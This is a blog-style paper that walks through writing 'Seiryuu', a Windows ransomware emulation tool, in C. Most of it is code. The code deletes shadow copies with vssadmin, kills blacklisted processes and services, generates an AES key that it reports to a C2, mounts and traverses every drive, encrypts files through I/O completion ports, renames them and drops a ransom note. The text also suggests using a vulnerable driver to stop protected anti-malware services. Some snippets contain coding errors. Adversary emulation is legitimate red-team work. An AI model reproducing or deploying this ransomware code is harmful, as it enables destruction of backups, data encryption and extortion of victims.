### Introduction In this paper I will describe some of the techniques I used when creating the the Seiryuu ransomware emulation tool The builder prioritizes stability and ease of recovery, so I won't implement a lot of features found in modern ransomware ### Ensure a single instance is running First things first, the user may want to prevent multiple instances of Seiryuu running on a single system. To do this we will use the tried-and-tested method of checking if a mutex exists ```C HANDLE MutexHandle = CreateMutexW(NULL, FALSE, MUTEX_NAME); if(GetLastError() == ERROR_ALREADY_EXISTS) { return -1; } ``` ### Deleting backups At this point we can opt to delete VSS shadow copies. This can be done in multiple ways, like COM, but for the sake of keeping the executable slim we'll use the `vssadmin` utility ```C STARTUPINFOW StartupInfo = { 0 }; PROCESS_INFORMATION ProcessInformation = { 0 }; if(!CreateProcessW(NULL, L"vssadmin Delete Shadows /all /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &StartupInfo, &ProcessInformation )) { return -1; } CloseHandle(ProcessInformation.hProcess); CloseHandle(ProcessInformation.hThread); ``` ### Killing processes and services Ransomware tends to kill processes/services that may interfere with it's activities. For example, if a process gets a file handle with `ShareMode` 0, it cannot be opened again until the handle is closed. This means that we won't be able to open it, and subsequently encrypt it We will use `NtQuerySystemInformation` to iterate through the running processes and kill them if the hash of their name matches with the blacklist defined in the config file *Keep in mind NONE of this code will be compiled if the process blacklist is not defined in the config file. This is usually the case as I want to avoid DoS* ```C BOOL KillBlacklistedProcesses() { ULONG Length = 0; NtQuerySystemInformation(SystemProcessInformation, 0, 0, &Length); if(Length == 0) { return FALSE; } PSYSTEM_PROCESS_INFORMATION ProcessInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length); if(ProcessInformation == NULL) { return FALSE; } if(NtQuerySystemInformation(SystemProcessInformation, ProcessInformation, Length, &Length) != 0) { return FALSE; } do { if (ProcessInformation->ImageName.Buffer) { ULONG CurrentProcessHash = Hash(ProcessInformation->ImageName.Buffer); if (IsProcessBlacklisted(CurrentProcessHash)) { if(!KillProcessViaPID((DWORD)ProcessInformation->UniqueProcessId)) { return FALSE; } } } ProcessInformation = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)ProcessInformation + ProcessInformation->NextEntryOffset); } while (ProcessInformation->NextEntryOffset); return TRUE; } ``` The `IsBlacklisted` function determines whether the current process' hash is included in the blacklist hash array ```C BOOL IsProcessBlacklisted(_In_ ULONG ProcessNameHash) { ULONG Blacklist[] = PROCESSES_TO_KILL; for (DWORD i = 0; i < sizeof(Blacklist) / sizeof(ULONG); i++) { if(ProcessNameHash - Blacklist[i] == 0) { return TRUE; } } return FALSE; } ``` If so, the process will be terminated by obtaining a handle with `PROCESS_TERMINATE` access rights and calling `TerminateProcess` ```C BOOL KillProcessViaPID(_In_ DWORD PID) { HANDLE ProcessHandle = OpenProcess(PROCESS_TERMINATE , FALSE, PID); if(ProcessHandle == NULL) { return FALSE; } if(!NT_SUCCESS(ZwTerminateProcess(ProcessHandle, 0))) { return FALSE; } CloseHandle(ProcessHandle); return TRUE; } ``` Next on death's list are services. To iterate through them we first need to use `OpenSCManager` to get a handle to the local service control manager database with `SC_MANAGER_ENUMERATE_SERVICE` access rights. Afterwards we will call `EnumServicesStatusW` to get an array of names pertaining to the active Windows/driver services, which we will then check against the user-defined blacklist ```C BOOL KillBlacklistedServices() { SC_HANDLE SCHandle = OpenSCManagerW(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE); if (SCHandle == NULL) { return FALSE; } DWORD Length = 0; DWORD NumberOfServices = 0; DWORD ResumeHandle = 0; if (EnumServicesStatusW(SCHandle, SERVICE_WIN32 | SERVICE_DRIVER, SERVICE_ACTIVE, NULL, 0, &Length, &NumberOfServices, &ResumeHandle)) { return FALSE; } LPENUM_SERVICE_STATUSW Services = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length); if (Services == NULL) { return FALSE; } if (EnumServicesStatusW(SCHandle, SERVICE_WIN32, SERVICE_ACTIVE, Services, Length, &Length, &NumberOfServices, &ResumeHandle)) { for (DWORD i = 0; i < NumberOfServices; i++) { ULONG CurrentServiceHash = Hash(Services[i].lpServiceName); if(IsServiceBlacklisted(CurrentServiceHash)) { if(!KillServiceViaName(Services[i].lpServiceName, SCHandle)) { return FALSE; } } } } CloseHandle(SCHandle); return TRUE; } ``` `IsServiceBlacklisted` is basically identical to `IsProcessBlacklisted`, so I'll skip over it. The blacklisted services are killed stopping the service using `ControlService` and deleting it by calling`DeleteService` ```C BOOL KillServiceViaName(LPWSTR ServiceName, SC_HANDLE ManagerHandle) { BOOL Result = FALSE; HANDLE ServiceHandle = OpenServiceW(ManagerHandle, ServiceName, SERVICE_ALL_ACCESS); if(ServiceHandle) { SERVICE_STATUS ServiceStatus = { 0 }; if(ControlService(ServiceHandle, SERVICE_CONTROL_STOP, &ServiceStatus)) { if(DeleteService(ServiceHandle)) { CloseServiceHandle(ServiceHandle); Result = TRUE; } } } if(Result == FALSE) { CloseServiceHandle(ServiceHandle); } return Result; } ``` At this point we may also want to kill PPL antimalware protected services using Process Explorer or a vulnerable driver, but I'll leave this as an exercise to the reader ### Initializing our crypto context For this I went with the BCrypt API, as statically linking crypto libraries would have made Seiryuu too fat As this is an emulation tool, I went with AES in order to make my time recovering the files easier. "Real" ransomware would use something like a hybrid of RSA + AES with an AES key generated for each file First we need to use `BCryptOpenAlgorithmProvider` to get a handle on the AES and RNG cryptographic providers. From there, we will generate an AES key (which will be sent back to the C2 and associated with an instance of the implant) ```C BCRYPT_ALG_HANDLE AESHandle = NULL; BCRYPT_ALG_HANDLE RNGHandle = NULL; if(!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&RNGHandle, BCRYPT_RNG_ALGORITHM, NULL, NULL) || !BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&AESHandle, BCRYPT_AES_ALGORITHM, NULL, NULL)) )) { return -1; } BYTE Key[32] = { 0 }; BCryptGenRandom(RNGHandle, Key, sizeof(Key), BCRYPT_USE_SYSTEM_PREFERRED_RNG); BCRYPT_KEY_HANDLE GeneratedKey = NULL; if(!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(AESHandle, &GeneratedKey, NULL, NULL, Key, sizeof(Key), 0))) { return -1; } ``` Now that we have our key, we can simply call `BCryptEncrypt` when we need to encrypt a file buffer ### Mounting Volumes Now we want EVERYTHING, so we'll start iterating through volumes using `FindFirstVolumeW` and `FindNextVolumeW` in order to mount every storage device connected to the computer For each volume name find, we will use `GetDriveTypeW` to check if it's a CD-ROM or a RAM disk, in which case we will skip over it. Otherwise, we will call `GetVolumePathNamesForVolumeNameW` to get the path of a mounted folder If the return length is greater than 3, the volume is already mounted to a few folder paths, so we'll also skip over it ```C WCHAR VolumeName[MAX_PATH]; HANDLE VolumeHandle = FindFirstVolumeW(VolumeName, MAX_PATH); if (VolumeHandle != INVALID_HANDLE_VALUE) { do { UINT DriveType = GetDriveTypeW(VolumeName); if (DriveType != DRIVE_CDROM && DriveType != DRIVE_RAMDISK) { WCHAR VolumePathNames[MAX_PATH]; DWORD ReturnLength = 0; if (!GetVolumePathNamesForVolumeNameW(VolumeName, VolumePathNames, MAX_PATH, &ReturnLength)) { goto NEXT; } if(ReturnLength >= 3) { goto NEXT; } MountVolumeToLetter(VolumeName); } NEXT: if(!FindNextVolumeW(VolumeHandle, VolumeName, MAX_PATH)) { break; } } while (TRUE); } ``` The `MountVolumeToLetter` function should be pretty self explanatory ### Traversing directories Now that we mounted all relevant volumes we can call `GetLogicalDriveStringsW` to resolve the name of all available drives For each valid drive we will create a traversal thread which will be stored in an array to make cleaning up easier ```C WCHAR Drives[MAX_PATH] = { 0 }; DWORD Length = GetLogicalDriveStringsW(MAX_PATH, Drives); if (Length) { PWCHAR DriveName = Drives; BYTE Counter = 0; while (*DriveName) { UINT DriveType = GetDriveTypeW(&DriveName); if (DriveType == DRIVE_FIXED || DriveType == DRIVE_REMOVABLE || DriveType == DRIVE_RAMDISK ) { TraversalThreads[Counter] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)TraverseDirectory, DriveName, NULL, NULL); Counter++; } DriveName += _wcslen(DriveName); } } ``` The `TraverseThread` function will call `FindFirstFileExW` and `FindNextFileW` to enumerate through all files and folders. We will skip over `.` and `..` files for obvious reasons If we find a subfolder we will first check if it's not in the user-defined whitelist then proceed to call the traversal function recursively. This is not the fastest approach, but let's keep it simple for now Otherwise, if the file is not whitelisted we will make sure it's writable by calling `SetFileAttributesW` with the `FILE_ATTRIBUTE_NORMAL` flag. ```C WIN32_FIND_DATAW FileData = { 0 }; HANDLE SearchHandle = FindFirstFileExW(Parameter, FindExInfoStandard, &FileData, FindExSearchNameMatch, NULL, NULL); if(SearchHandle) { LOOP: if(*FileData.cFileName != L"." && *&FileData.CFileName[2] != L"." && (FileData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) != 0) ) { if((FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0) { if(!IsFolderWhitelisted(Hash(CharToLowerW(FileData.cFileName)))) { PWCHAR Subfolder = _wcscat(Parameter, FileData.CFileName); TraverseDirectory(Subfolder); } } else if((FileData.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) != 0) { if(!IsFileWhitelisted(Hash(CharToLowerW(FileData.cFileName)))) { if((FileData.dwFileAttributes & FILE_ATTRIBUTE_READONLY) != 0) { if(SetFileAttributesW(FileData.cFileName, FILE_ATTRIBUTE_NORMAL)) { SendToQueue(FileData.cFileName); if(FindNextFileW(SearchHandle, &FileData)) { goto LOOP; } else { ExitThread(0); } } } } } } } ``` ### The threading model To perform asynchronous I/O operations Seiryuu uses [I/O completion ports](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports) The aforementioned`SendToQueue` function will initialize a `SEIRYUU_FILE` struct containing the necessary information to perform encryption ```C typedef struct _SEIRYUU_FILE { UNICODE_STRING NtFileName; HANDLE FileHandle; LARGE_INTEGER FileSize; } SEIRYUU_FILE; ``` The structure is much simpler than what you would see in most ransomware, but that's because Seiryuu only encrypts the first X bytes which is faster and makes my life easier when recovering the files ```C SEIRYUU_FILE SeiryuuStruct = { 0 }; PWCHAR EncryptedFileName = _wcscat(FileName, SEIRYUU_EXTENSION); if(!NT_SUCCESS(RtlDosPathNameToNtPathName_U_WithStatus(FileName, &SeiryuuStruct->NtFileName, NULL, NULL))) { goto EXIT; } OBJECT_ATTRIBUTES FileAttributes = { 0 }; InitializeObjectAttributes(&SeiryuuStruct->NtFileName, sizeof(OBJECT_ATTRIBUTES), OBJ_CASE_INSENSITIVE, NULL, NULL); IO_STATUS_BLOCK StatusBlock = { 0 }; if(!NT_SUCCESS(NtCreateFile(&FileStruct->FileHandle, FILE_GENERIC_WRITE | FILE_GENERIC_READ, &ObjectAttributes, NULL,&StatusBlock, NULL,FILE_ATTRIBUTE_NORMAL, NULL,FILE_OPEN, 0, NULL, NULL)) ) { // Terminate owner process } if(!GetFileSizeEx(SeiryuuStruct.FileHandle, &SeiryuuStruct->FileSize)) { goto EXIT; } ``` Now if `NtCreateFile` fails you might want to kill it's owner, but this paper is already lengthy enough so I'll leave this out. Moving on, we will pass the file information to the completion port ```C FILE_COMPLETION_INFORMATION CompletionInfo = { CompletionPortHandle, SeiryuuStruct}; if(!NT_SUCCESS(NtSetInformationFile(SeiryuuStruct.FileHandle, &StatusBlock, &CompletionInfo, sizeof(FILE_COMPLETION_INFORMATION), FileCompletionInformation ))) { goto EXIT; } ``` Seiryuu queries the number of processors from the PEB in order to calculate how many threads can concurrently process I/O completion packets Then, the main thread will create an I/O completion port where each child thread will wait until it receives the necessary information to perform encryption ```C ULONG NumberOfThreads = NtCurrentPeb()->NumberOfProcessors; HANDLE CompletionPortHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, NumberOfThreads); if(CompletionPortHandle != INVALID_HANDLE_VALUE) { do { HANDLE ThreadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)EncryptFiles, CompletionPortHandle, 0, NULL); if(ThreadHandle == INVALID_HANDLE_VALUE) { break; } DWORD Affinity = 1 << NumberOfThreads; NtSetInformationThread(ThreadHandle, 4, &Affinity, 4); NumberOfThreads--; } while(NumberOfThreads); } ``` After receiving the file information, we will call `NtAllocateVirtualMemory` to allocate a memory buffer and `NtReadFile` to read the first X bytes of the file. From there `BCryptEncrypt` can be used with the AES key we previously generated to encrypt the file before finally writing back the encrypted contents ```C while(TRUE) { DWORD TransferredBytes = 0; SEIRYUU_FILE SeiryuuStruct = { 0 }; IO_STATUS_BLOCK StatusBlock = { 0 }; while(NT_SUCCESS(NtRemoveIoCompletion(CompletionPortHandle, &SeiryuuStruct, NULL, &StatusBlock, 0))) { if(TransferredBytes == sizeof(SEIRYUU_FILE)) { PVOID FileAddress = NULL; SIZE_T BytesToEncrypt = BYTES_TO_ENCRYPT; if(NT_SUCCESS(NtAllocateVirtualMemory((HANDLE)-1, &FileAddress, NULL, &BytesToEncrypt, MEM_COMMIT, PAGE_READWRITE))) { IO_STATUS_BLOCK StatusBlock = { 0 }; if(NT_SUCCESS(NtReadFile(SeiryuuStruct.FileHandle, NULL, NULL, NULL, &StatusBlock, FileAddress, BYTES_TO_ENCRYPT, NULL, NULL))) { ULONG EncryptedSize = 0; if(BCRYPT_SUCCESS(BCryptEncrypt(GeneratedKey, (PUCHAR)FileAddress, BYTES_TO_ENCRYPT, NULL, NULL, NULL, (PUCHAR)FileAddress, BYTES_TO_ENCRYPT, &EncryptedSize,BCRYPT_PAD_NONE))) { if(NT_SUCCESS(NtWriteFile(SeiryuuStruct.FileHandle, NULL, NULL, NULL, &StatusBlock, FileAddress, EncryptedSize, NULL, NULL))) { ChangeFileExtension(SeiryuuStruct); CloseHandle(SeiryuuStruct.FileHandle); } } } } } break; } } ``` I'll skip over `ChangeFileExtension` since all it does is call `NtSetInformationFile` to rename the file ### Leaving a note Finally, we can choose to leave a note. You may want to encrypt/obfuscate it, but I'm just gonna leave it in plaintext ```C HANDLE NoteHandle = CreateFileW(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (NoteHandle == INVALID_HANDLE_VALUE) { return FALSE; } DWORD BytesWritten; WriteFile(NoteHandle, Text, wcslen((WCHAR*)Text) * sizeof(WCHAR), &BytesWritten, NULL); CloseHandle(NoteHandle); ```